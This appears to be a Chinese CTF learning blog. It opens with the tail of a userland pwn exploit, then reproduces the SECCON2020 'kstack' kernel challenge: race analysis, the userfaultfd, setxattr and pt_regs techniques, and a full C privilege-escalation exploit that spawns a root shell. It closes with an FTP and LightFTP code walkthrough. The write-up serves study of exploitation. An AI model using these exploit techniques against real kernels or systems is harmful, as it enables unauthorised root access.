code = p64(1)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(start_addr)
payload = '24'+'a'*(0x70-2)+code.ljust(0x60,"b")
payload += p8(v3[0])+p8(v3[1])+p8(v3[2])+p8(v3[3])+p8(v3[4])+p8(v3[5])+p8(v3[6])+p8(v3[7])+p8(v3[8])+p8(v3[9])+p8(v3[10])+p8(v3[11])+p8(v3[12])+p8(v3[13])+p8(v3[14])+p8(v3[15])
payload += '\x00'*(0x18+4)+p32(0x38)
p.sendafter("number-1:",payload)

p.recvuntil("good done\n")

puts_libc = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00'))
libc_base = puts_libc - libc.sym["puts"]
success("puts_libc >> "+hex(puts_libc))
success("libc_base >> "+hex(libc_base))

debug()

system_libc = libc_base + libc.sym["system"]
binsh_addr = libc_base + 0x18ce57

one_gadgets = [0x45226,0x4527a,0xf03a4,0xf1247]
one_gadget = one_gadgets[3]+libc_base

success("system_libc >> "+hex(system_libc))
success("binsh_addr >> "+hex(binsh_addr))
success("one_gadget >> "+hex(one_gadget))

payload = '24'+'d'*(0x70-2)+0x58*"e"+p64(one_gadget)
payload += p8(v3[0])+p8(v3[1])+p8(v3[2])+p8(v3[3])+p8(v3[4])+p8(v3[5])+p8(v3[6])+p8(v3[7])+p8(v3[8])+p8(v3[9])+p8(v3[10])+p8(v3[11])+p8(v3[12])+p8(v3[13])+p8(v3[14])+p8(v3[15])
payload += 'f'*(0x18+4)+p32(0x38)

p.sendafter("number-1:",payload)
p.interactive()

while(1):
try:
success(">> testing")
pwn()
break
except:
sleep(1)

kstack 复现

1
2
3
4
5
6
7
8
9
10
#!/bin/sh
qemu-system-x86_64 \
-m 512M \
-kernel ./bzImage \
-initrd ./rootfs.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr quiet" \
-cpu kvm64,+smep \
-net user -net nic -device e1000 \
-monitor /dev/null \
-nographic
  • kaslr,smep
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/bin/sh
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

ifup eth0 >/dev/null 2>/dev/null

echo 2 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

chown root:root flag
chmod 400 flag
insmod /root/kstack.ko
chmod 777 /proc/stack

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
cat /root/banner
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f
  • kptr_restrict,dmesg_restrict
1
2
3
4
5
6
7
8
9
/ $ cat /sys/devices/system/cpu/vulnerabilities/*
Processor vulnerable
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, STIBP: disabled, RSB filling
Not affected
  • PTI

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pid = *(_DWORD *)(__readgsqword((unsigned int)&current_task) + 0x35C);
if ( cmd == 0x57AC0001 ) // PUSH
{
buf = (Element *)kmem_cache_alloc(kmalloc_caches[5], 0x6000C0LL);
LODWORD(buf->pid) = pid;
ptr = head;
head = buf; /* 更新头节点 */
buf->ptr = ptr; /* 把原来的头节点挂载到新头节点的后面 */
if ( !copy_from_user(&buf->value, arg, 8LL) ) /* 拷贝数据到新头节点 */
return 0LL;
head = buf->ptr; /* 拷贝失败则重置头节点 */
kfree(buf);
return 0xFFFFFFFFFFFFFFEALL;
}
  • 单向链表插头
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
  else
{
if ( cmd != 0x57AC0002 ) // POP
return 0LL;
ptr = head;
if ( !head )
return 0LL;
if ( pid == LODWORD(head->pid) ) /* 匹配对应线程组的节点 */
{
if ( !copy_to_user(arg, &head->value, 8LL) ) /* 把数据拷贝到用户态 */
{
head = ptr->ptr;
goto EINVAL;
}
}
else
{
ptr = head->ptr;
if ( ptr )
{
while ( LODWORD(ptr->pid) != pid ) /* 遍历所有线程组,直到匹配节点 */
{
if ( !ptr->ptr )
return 0xFFFFFFFFFFFFFFEALL;
ptr = ptr->ptr;
}
if ( !copy_to_user(arg, &ptr->value, 8LL) ) /* 把数据拷贝到用户态 */
{
ptr->ptr = ptr->ptr;
EINVAL:
kfree(ptr);
return 0LL;
}
}
}
  • 单向链表脱去头节点

本题目涉及多线程,但没有加锁,有条件竞争漏洞

userfaultfd

userfaultfd 是 Linux 的一个系统调用,使用户可以通过自定义的页处理程序 page fault handler 在用户态处理缺页异常

先看一个注册 userfaultfd 的案例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void register_userfault(void * addr, unsigned long len, void (*handler)(void*))
{
pthread_t thr;
struct uffdio_api ua;
struct uffdio_register ur;
long uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); /* 生成一个userfaultfd */

ua.api = UFFD_API;
ua.features = 0;
if (ioctl(uffd, UFFDIO_API, &ua) == -1){
/* 用户空间将在UFFD上使用READ/POLLIN协议 */
errExit("ioctl-UFFDIO_API");
}

ur.range.start = (unsigned long)addr;
ur.range.len = len;
ur.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1){
/* 调用UFFDIO_REGISTER ioctl完成注册 */
errExit("ioctl-UFFDIO_REGISTER");
}

int s = pthread_create(&thr, NULL, handler, (void *)uffd); /* 启动一个用以进行轮询的线程uffd monitor,该线程会通过poll函数(Linux中的字符设备驱动中的一个函数)不断轮询直到出现缺页异常 */
if (s != 0) {
errExit("pthread_create");
}
}
  • 当有一个线程(faulting 线程)在这块内存区域内触发缺页异常时,该线程会进入到内核中处理缺页异常
  • 随后 faulting 线程进入堵塞状态,同时将一个 uffd_msg 发送给轮询线程(monitor 线程),等待其处理结束
  • monitor 线程调用通过 ioctl 处理缺页异常(调用函数指针 handler 所指向的函数)
  • 在处理结束后 monitor 线程发送信号唤醒 faulting 线程继续工作

函数 handler 的模板如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
void* handler(void *arg)
{
struct uffd_msg msg;
struct pollfd pollfd;
struct uffdio_copy uc;
int nready;

unsigned long uffd = (unsigned long)arg;

pollfd.fd = uffd;
pollfd.events = POLLIN;

nready = poll(&pollfd, 1, -1); /* 调用poll函数轮询直到出现缺页异常 */
if (nready != 1) {
errExit("[-] Wrong pool return value");
}

nready = read(uffd, &msg, sizeof(msg)); /* 通过userfaultfd读取缺页信息 */
if (nready <= 0) {
errExit("[-] msg error!!");
}

char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (page == MAP_FAILED)
errExit("[-] mmap page error!!");

memset(page, 0, sizeof(page));

/*
...... (核心功能)
*/

uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);;
uc.len = PAGE_SIZE;
uc.mode = 0;
uc.copy = 0;

ioctl(uffd, UFFDIO_COPY, &uc);

return NULL;
}
  • 根据实际需求不同,handler 函数可能会有所不同

setxattr

setxattr 在 kernel 中可以为我们提供近乎任意大小的内核空间 object 分配

  • 调用链如下:
1
SYS_setxattr() -> path_setxattr() -> setxattr()
  • 核心代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static long
setxattr(struct dentry *d, const char __user *name, const void __user *value,
size_t size, int flags)
{
//...
kvalue = kvmalloc(size, GFP_KERNEL); /* 分配object */
if (!kvalue)
return -ENOMEM;
if (copy_from_user(kvalue, value, size)) { /* 向内核写入内容 */

//...

kvfree(kvalue); /* 释放object */
return error;
}

那么这里 setxattr 系统调用便提供给我们这样一条调用链:

  • 在内核空间分配 object
  • 向 object 内写入内容
  • 释放分配的 object

这里的 value 和 size 都是由我们来指定的,即我们可以分配任意大小的 object 并向其中写入内容

堆占位

堆占位技术就是用 setxattr 和 userfaultfd 配合使用得来的,可以在内核空间中分配任意大小的 object 并写入任意内容

在 setxattr 的执行流程,其中会调用 copy_from_user 从用户空间拷贝数据,通过这一点可以构造出如下的利用:

  • 我们通过 mmap 分配连续的两个页面:
    • 在第二个页面上启用 userfaultfd 监视
    • 在第一个页面的末尾写入我们想要的数据
  • 此时我们调用 setxattr 进行跨页面的拷贝,当 copy_from_user 拷贝到第二个页面时便会触发 userfaultfd
  • 从而让 setxattr 的执行流程卡在此处,这样这个 object 就不会被释放掉,而是可以继续参与我们接下来的利用

堆占位一般用于 UAF 漏洞,当内核产生 UAF 堆块时,可以用堆占位技术将一个 object 放入其中,之后通过 UAF 漏洞就可以操控这个 object

pt_regs

entry_SYSCALL_64 这一用汇编写的函数内部,用如下指令:

1
PUSH_AND_CLEAR_REGS rax=$-ENOSYS
  • 将所有的寄存器压入内核栈上,形成一个 pt_regs 结构体,该结构体实质上位于内核栈底
  • pt_regs 结构体的条目如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
struct pt_regs {
/*
* C ABI says these regs are callee-preserved. They aren't saved on kernel entry
* unless syscall needs a complete, fully filled "struct pt_regs".
*/
unsigned long r15;
unsigned long r14;
unsigned long r13;
unsigned long r12;
unsigned long rbp;
unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
unsigned long r11;
unsigned long r10;
unsigned long r9;
unsigned long r8;
unsigned long rax;
unsigned long rcx;
unsigned long rdx;
unsigned long rsi;
unsigned long rdi;
/*
* On syscall entry, this is syscall#. On CPU exception, this is error code.
* On hw interrupt, it's IRQ number:
*/
unsigned long orig_rax;
/* Return frame for iretq */
unsigned long rip;
unsigned long cs;
unsigned long eflags;
unsigned long rsp;
unsigned long ss;
/* top of stack page */
};

在内核中的结构如下图:

1675218563307

在系统调用当中有很多的寄存器其实是不一定能用上的,比如 r8 ~ r15,这些寄存器为我们的 ROP 提供了可能,我们只需要寻找到一条形如 add rsp,val; ret 的 gadget 便能够完成 ROP

使用案例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0xabcddcba;"
"mov r13, add_rsp_0x40_ret;" // add rsp, 0x40 ; ret
"mov r12, commit_creds;"
"mov rbp, init_cred;"
"mov rbx, pop_rdi_ret;"
"mov r11, 0x1145141919;"
"mov r10, swapgs_restore_regs_and_return_to_usermode;"
"mov r9, 0x99999999;"
"mov r8, 0x88888888;"
"xor rax, rax;"
"mov rcx, 0x666666;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);

/*
arg#0 - seq_fd
arg#1 - rsp
syscall num - 0
返回地址
arg#2 - 8
arg#4 - 0x88888888
arg#5 - 0x99999999
arg#3 - swapgs_restore_regs_and_return_to_usermode
r11 - 0x1145141919
rbx - pop_rdi_ret
rbp - init_cred
r12 - commit_creds
r13 - add_rsp_0x40_ret
r14 - 0xabcddcba
r15 - 0xbeefdead
*/
  • 可以在调试时慢慢调整

入侵思路

首先需要绕开 kaslr,泄露内核基地址

由于本题目有条件竞争漏洞,于是我们可以在 PUSH 命令把用户态节点指针拷贝到内核之前,用另一个线程把该指针只向的数据释放掉

另外可以使用 userfaultfd 来增加条件竞争的几率:

  • 使用 PUSH 让分配线程先申请一个堆块 buf,然后在 copy_from_user 这里卡住
  • 接着执行 userfaultfd 线程,由于 copy_from_user 没有执行完毕,所以在 PUSH 中生成的 buf->value 指针没有初始化

于是我们可以事先申请一个用于泄露的 object 然后释放掉,用 PUSH 中的 kmem_cache_alloc 复用这个堆块,然后在 copy_from_user 触发 userfaultfd 线程后执行一次 POP,于是 object->value 就被输出到用户态缓存中了

程序中的 buf 使用如下结构体:

1
2
3
4
5
00000000 Element struc ; (sizeof=0x18, mappedto_3)
00000000 pid dq ?
00000008 value dq ?
00000010 ptr dq ? ; offset
00000018 Element ends
  • 成员 value 的偏移为 0x8

由于 kmem_cache_alloc(kmalloc_caches[5], 0x6000C0LL) 使用 kmallc-32,并且我们可以泄露偏移为 0x8 的指针,于是使用 shm_file_data 来作为 object:

1
2
3
4
5
6
struct shm_file_data {
int id;
struct ipc_namespace *ns;
struct file *file;
const struct vm_operations_struct *vm_ops;
};
  • 其中可以读取的 ns 域刚好指向内核 .text 段,由此我们可以泄露出内核基址

可以在通过 shmget 系统调用创建共享内存之后,使用 shmat 系统调用获得该结构体,然后通过 shmdt 我们可以释放该结构体

在 POP 时通过 copy_to_user 触发 userfaultfd,在 userfaultfd 线程中再 POP 一次,就可以构造出 Double free(使内核模块申请的 UAF 堆块被释放两次,在 kmalloc-32 当中的第一个 object 指向自身,接下来的两次分配中我们都将会获得同一个 object)

最后需要用堆占位技术来劫持 seq_operations 结构体:

1
2
3
4
5
6
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};

调用 setxattr 函数,在 copy_from_user 触发 userfaultfd 线程后,采用常规的 pt_regs 来完成 ROP

具体的步骤如下:

  • 打开 /proc/self/stat 分配大量 seq_operations 结构体做备用
  • 完成内核基地址泄露和 Double free 的构造
  • 用 mmap 分配两 page 大小的内存,在第一个 page 最后8字节写上 magic gadget
  • 打开 /proc/self/stat 使 seq_operations 结构体占用 UAF 堆块
  • 执行 setxattr,分配一个堆块复用 seq_operations 结构体,然后触发 userfaultfd
1
2
3
4
kvalue = kvmalloc(size, GFP_KERNEL); /* 分配object */
if (!kvalue)
return -ENOMEM;
if (copy_from_user(kvalue, value, size)) { /* 向内核写入内容 */
  • 最后使用 pt_regs 来完成并触发 ROP

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/xattr.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <semaphore.h>

void * kernel_base = 0xffffffff81000000;
size_t kernel_offset = 0;
size_t commit_creds = NULL;
size_t prepare_kernel_cred = NULL;
static pthread_t monitor_thread;

int dev_fd;
size_t seq_fd;
size_t seq_fd_reserve[0x100];
static char *page = NULL;
static size_t page_size;

void errExit(char * msg)
{
printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
exit(EXIT_FAILURE);
}

void register_userfault(void * addr, unsigned long len, void (*handler)(void*))
{
long uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int s;

uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
errExit("userfaultfd");

uffdio_api.api = UFFD_API;
uffdio_api.features = 0;
if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
errExit("ioctl-UFFDIO_API");

uffdio_register.range.start = (unsigned long) addr;
uffdio_register.range.len = len;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
errExit("ioctl-UFFDIO_REGISTER");

s = pthread_create(&monitor_thread, NULL, handler, (void *) uffd);
if (s != 0)
errExit("pthread_create");
}

void* leak_handler(void *arg)
{
struct uffd_msg msg;
struct pollfd pollfd;
struct uffdio_copy uc;
int nready;

unsigned long uffd = (unsigned long)arg;

pollfd.fd = uffd;
pollfd.events = POLLIN;

nready = poll(&pollfd, 1, -1);
if (nready != 1) {
errExit("[-] Wrong pool return value");
}

nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0) {
errExit("[-] msg error!!");
}

pop(&kernel_offset);
printf("[*] leak ptr: %p\n", kernel_offset);
kernel_offset -= 0xffffffff81c37bc0;
kernel_base += kernel_offset;

uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(page_size - 1);;
uc.len = page_size;
uc.mode = 0;
uc.copy = 0;

ioctl(uffd, UFFDIO_COPY, &uc);

return NULL;
}

void* double_free_handler(void *arg)
{
struct uffd_msg msg;
struct pollfd pollfd;
struct uffdio_copy uc;
int nready;

unsigned long uffd = (unsigned long)arg;

pollfd.fd = uffd;
pollfd.events = POLLIN;

nready = poll(&pollfd, 1, -1);
if (nready != 1) {
errExit("[-] Wrong pool return value");
}

nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0) {
errExit("[-] msg error!!");
}

pop(page);

uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(page_size - 1);;
uc.len = page_size;
uc.mode = 0;
uc.copy = 0;

ioctl(uffd, UFFDIO_COPY, &uc);

return NULL;
}

size_t pop_rdi_ret = 0xffffffff81034505;
size_t xchg_rax_rdi_ret = 0xffffffff81d8df6d;
size_t mov_rdi_rax_pop_rbp_ret = 0xffffffff8121f89a;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81600a34;

void* hijack_handler(void *arg)
{
struct uffd_msg msg;
struct pollfd pollfd;
struct uffdio_copy uc;
int nready;

unsigned long uffd = (unsigned long)arg;

pollfd.fd = uffd;
pollfd.events = POLLIN;

nready = poll(&pollfd, 1, -1);
if (nready != 1) {
errExit("[-] Wrong pool return value");
}

nready = read(uffd, &msg, sizeof(msg));
if (nready <= 0) {
errExit("[-] msg error!!");
}

for (int i = 0; i < 100; i++)
close(seq_fd_reserve[i]);

pop_rdi_ret += kernel_offset;
xchg_rax_rdi_ret += kernel_offset;
mov_rdi_rax_pop_rbp_ret += kernel_offset;
prepare_kernel_cred = 0xffffffff81069e00 + kernel_offset;
commit_creds = 0xffffffff81069c10 + kernel_offset;
swapgs_restore_regs_and_return_to_usermode += kernel_offset + 0x10;
printf("[*] gadget: %p\n", swapgs_restore_regs_and_return_to_usermode);
__asm__(
"mov r15, 0xbeefdead;"
"mov r14, 0x11111111;"
"mov r13, pop_rdi_ret;"
"mov r12, 0;"
"mov rbp, prepare_kernel_cred;"
"mov rbx, mov_rdi_rax_pop_rbp_ret;"
"mov r11, 0x66666666;"
"mov r10, commit_creds;"
"mov r9, swapgs_restore_regs_and_return_to_usermode;"
"mov r8, 0x99999999;"
"xor rax, rax;"
"mov rcx, 0xaaaaaaaa;"
"mov rdx, 8;"
"mov rsi, rsp;"
"mov rdi, seq_fd;"
"syscall"
);
printf("[+] uid: %d gid: %d\n", getuid(), getgid());
system("/bin/sh");

uc.src = (unsigned long)page;
uc.dst = (unsigned long)msg.arg.pagefault.address & ~(page_size - 1);;
uc.len = page_size;
uc.mode = 0;
uc.copy = 0;

ioctl(uffd, UFFDIO_COPY, &uc);

return NULL;
}

void push(char *data)
{
if (ioctl(dev_fd, 0x57AC0001, data) < 0)
errExit("push!");
}

void pop(char *data)
{
if (ioctl(dev_fd, 0x57AC0002, data) < 0)
errExit("pop!");
}

int main(int argc, char **argv, char **envp)
{
size_t data[0x10];
char *uffd_buf_leak;
char *uffd_buf_uaf;
char *uffd_buf_hack;
int pipe_fd[2];
int shm_id;
char *shm_addr;

dev_fd = open("/proc/stack", O_RDONLY);

page = malloc(0x1000);
page_size = sysconf(_SC_PAGE_SIZE);

for (int i = 0; i < 100; i++)
if ((seq_fd_reserve[i] = open("/proc/self/stat", O_RDONLY)) < 0)
errExit("seq reserve!");

uffd_buf_leak = (char*) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(uffd_buf_leak, page_size, leak_handler);

shm_id = shmget(114514, 0x1000, SHM_R | SHM_W | IPC_CREAT);
if (shm_id < 0)
errExit("shmget!");
shm_addr = shmat(shm_id, NULL, 0);
if (shm_addr < 0)
errExit("shmat!");
if(shmdt(shm_addr) < 0)
errExit("shmdt!");

push(uffd_buf_leak);
printf("[+] kernel offset: %p\n", kernel_offset);
printf("[+] kernel base: %p\n", kernel_base);

uffd_buf_uaf = (char*) mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(uffd_buf_uaf, page_size, double_free_handler);

push("name");
pop(uffd_buf_uaf);

uffd_buf_hack = (char*) mmap(NULL, page_size * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
register_userfault(uffd_buf_hack + page_size, page_size, hijack_handler);
printf("[*] gadget: %p\n", 0xffffffff814d51c0 + kernel_offset);
*(size_t *)(uffd_buf_hack + page_size - 8) = 0xffffffff814d51c0 + kernel_offset; // add rsp , 0x1c8 ; pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop r15; pop rbp ; ret

seq_fd = open("/proc/self/stat", O_RDONLY);
setxattr("/exp", "name", uffd_buf_hack + page_size - 8, 32, 0);
}

小结:

多谢大佬的博客:从 SECCON2020 一道 kernel pwn 看 userfaultfd + setxattr “堆占位”技术

学到了不少东西,但对 pt_regs 还不太熟悉

FTP 协议简析

FTP(File Transfer Protocol)是 TCP/IP 协议组中的协议之一,FTP 的工作就是完成两台计算机之间的拷贝

在 TCP/IP 协议中, 需要两个端口,一个是数据端口,一个是控制端口

  • 控制端口一般为21,而数据端口不一定是20,这和 FTP 的应用模式有关:
    • 如果是主动模式,应该为20
    • 如果为被动模式,由服务器端和客户端协商而定
  • FTP 协议要用到两个 TCP 连接:
    • 一个是命令链路,用来在 FTP 客户端与服务器之间传递命令
    • 另一个是数据链路,用来上传或下载数据

主动模式与被动模式

FTP 支持两种模式,一种方式叫做 Standard(也就是 PORT 方式,主动方式),一种是 Passive(也就是 PASV,被动方式),下面介绍一个这两种方式的工作原理:

主动 FTP :

  • 命令连接:客户端向服务器的 FTP 端口(默认是21)发送连接请求,服务器接受连接,建立一条命令链路
    • 客户端 >1024 端口 → 服务器 21 端口
  • 数据连接:客户端在命令链路上用 PORT 命令告诉服务器自己开启的端口,于是服务器从自己的 20 端口去连接客户端开启的端口并传输数据
    • 客户端 >1024 端口 ← 服务器 20 端口

被动 FTP :

  • 命令连接:客户端向服务器的 FTP 端口(默认是21)发送连接请求,服务器接受连接,建立一条命令链路
    • 客户端 >1024 端口 → 服务器 21 端口
  • 数据连接:客户端在命令链路上用 PASV 命令告诉服务器使用被动模式,于是服务器开启一个端口专门提供给客户端使用,然后客户端主动连接服务器端口来传输数据
    • 客户端 >1024 端口 → 服务器 > 1024 端口

FTP 服务器的代码实现

FTP 需要实现的功能如下:

  • 读取配置信息
  • 与目标主机建立连接(使用 socket)
  • 实现 FTP 命令集

这里就以轻量级的 FTP 服务器 LightFTP 为例,来学习一下 FTP 服务器的代码实现

LightFTP 读取配置信息

LightFTP 中,使用 config_parse 函数来读取文件信息:

1
2
3
4
5
6
int config_parse(
const char *pcfg,
const char *section_name,
const char *key_name,
char *value,
unsigned long value_size_max)

该函数的参数如下:

  • pcfg:初始化函数 config_init 返回的缓冲区(配置文件 fftp.conf 中的内容被 Read 入其中)
  • section_name:配置段名称,在配置文件 fftp.conf 中被大括号 [] 括起来的内容,用于区分某段配置(初始化配置名称为 ftpconfig
  • key_name:关键字名称,记录有在配置文件 fftp.conf 中写入的关键信息,程序初始化时会把等号 = 后面的内容读入内存
  • value:用于外传数据的指针(程序会把目标 key_name 对应的值写入 value 中)
  • value_size_max:用于表示 value 的最大值

为了理解这些参数,我们需要其他代码进行辅助,就从 config_init 函数开始:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
char *config_init(char *cfg_filename)
{
int f_config;
char *buffer = NULL;
off_t fsz;

f_config = open(cfg_filename, O_RDONLY);
while (f_config != -1)
{
fsz = lseek(f_config, 0L, SEEK_END) + 1;
lseek(f_config, 0L, SEEK_SET);

buffer = x_malloc(fsz);

fsz = read(f_config, buffer, fsz);
buffer[fsz] = 0;
break;
}

if (f_config != -1)
close(f_config);

return buffer;
}
  • 程序默认的 cfg_filename 就是 fftp.conf
  • 这个函数的功能就是把配置文件读取到本地内存 buffer 中,然后返回 buffer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (argc > 1)
cfg = config_init(argv[1]);
else
cfg = config_init(CONFIG_FILE_NAME);

......

g_cfg.BindToInterface = inet_addr("127.0.0.1");
if (config_parse(cfg, CONFIG_SECTION_NAME, "interface", textbuf, bufsize))
g_cfg.BindToInterface = inet_addr(textbuf);

g_cfg.ExternalInterface = inet_addr("0.0.0.0");
if (config_parse(cfg, CONFIG_SECTION_NAME, "external_ip", textbuf, bufsize))
g_cfg.ExternalInterface = inet_addr(textbuf);
  • config_init 的返回值,将会放入 config_parse 中(作为第一个参数 pcfg

接下来看一看配置文件 fftp.conf 的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[ftpconfig]
port=21 /* 要将服务器绑定到的端口号 */
maxusers=10 /* 与服务器的最大连接数,可同时建立 */
interface=0.0.0.0 /* 要绑定到的接口IP,使用0.0.0.0侦听任何可用接口,默认值:127.0.0.1 */
local_mask=255.255.255.255 /* 本地网络的IP掩码,这将有助于服务器区分本地客户端和互联网客户端,默认值:255.255.255.0 */

minport=30000 /* 数据连接的端口范围,您可以使用它在网关设备上配置端口转发 */
maxport=60000

goodbyemsg=Goodbye!
keepalive=1 /* 发送激活数据包(某些NAT可能需要这样做) */

[anonymous]
pswd=* /* 表示“任何密码都匹配” */
accs=readonly /* 不允许登录 */
root=/server/data/

[uploader]
pswd=Weakuploaderpassword111
accs=upload
root=/home/user/ftpshare

[webadmin]
pswd=VeryStrongadminpassword222
accs=admin
root=/home/user/ftpshare
  • 大括号容就是 section_name
  • 等号左边的内容就是 key_name,右边的内容就是将要被设置的值

使用函数 config_parse 需要指定 section_namekey_name,该函数会把对应的值提取到参数 value 中,然后外传到上层函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
int config_parse(
const char *pcfg,
const char *section_name,
const char *key_name,
char *value,
unsigned long value_size_max)
{
unsigned long sp;
char vname[256], *p = (char *)pcfg;

if (value_size_max == 0)
return 0;
--value_size_max;

while (*p != 0)
{
p = skip_comments_and_blanks(p);
if (*p == 0)
break;
if (*p != '[')
{
++p;
continue;
}
++p;
sp = 0;
while (
(*p != ']') &&
(*p != 0) &&
(*p != '\n') &&
(sp < 255)
)
{
vname[sp] = *p;
++sp;
++p;
}
vname[sp] = 0;
if (*p == 0)
break;
if (*p == '\n')
continue;
++p;
if (strcmp(vname, section_name) == 0)
{
do {
p = skip_comments_and_blanks(p);
if ((*p == 0) || (*p == '['))
break;
sp = 0;
while (
(*p != '=') &&
(*p != ' ') &&
(*p != 0) &&
(*p != '\n') &&
(sp < 255)
)
{
vname[sp] = *p;
++sp;
++p;
}
vname[sp] = 0;
if (*p == 0)
break;
while (*p == ' ')
++p;
if (*p != '=')
break;
p++;
if (strcmp(vname, key_name) == 0)
{
sp = 0;
while (
(*p != '\n') &&
(*p != 0)
)
{
if (sp < value_size_max)
value[sp] = *p;
else
return 0;
++sp;
++p;
}
value[sp] = 0;
return 1;
}
else
{
while (
(*p != '\n') &&
(*p != 0)
)
++p;
}
} while (*p != 0);
}
else
{
do {
p = skip_comments_and_blanks(p);
if ((*p == 0) || (*p == '['))
break;
while (
(*p != '\n') &&
(*p != 0)
)
++p;
} while (1);
}
}
return 0;
}

函数 config_parse 总体的思路就是利用2个 while 循环来变量所有的 section_namekey_name

  • 外层的循环会匹配大括号 [],用一个 while 读取出 section_name 然后进行匹配:
1
if (strcmp(vname, section_name) == 0)
